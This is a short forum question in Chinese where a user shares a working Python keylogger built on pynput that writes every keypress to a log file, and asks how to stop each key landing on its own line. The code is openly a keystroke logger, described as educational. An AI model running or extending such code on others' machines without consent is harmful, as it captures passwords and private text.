【发布时间】:2019-09-01 14:50:42
【问题描述】:
我正在尝试制作键盘记录器 (仅用于教育目的) 它目前正在工作,但它将每个键放在单独的行中。 我想要它以便只记录输出而不是逐个字母 无论如何,这是代码。我需要编辑什么?我似乎找不到任何答案..
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format="%(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
它不是那么大,但我仍然无法弄清楚如何制作它,以便输出不会像这样在单独的行中: https://prntscr.com/p0cmin
【问题讨论】:
-
这应该有助于you。
标签: python python-3.x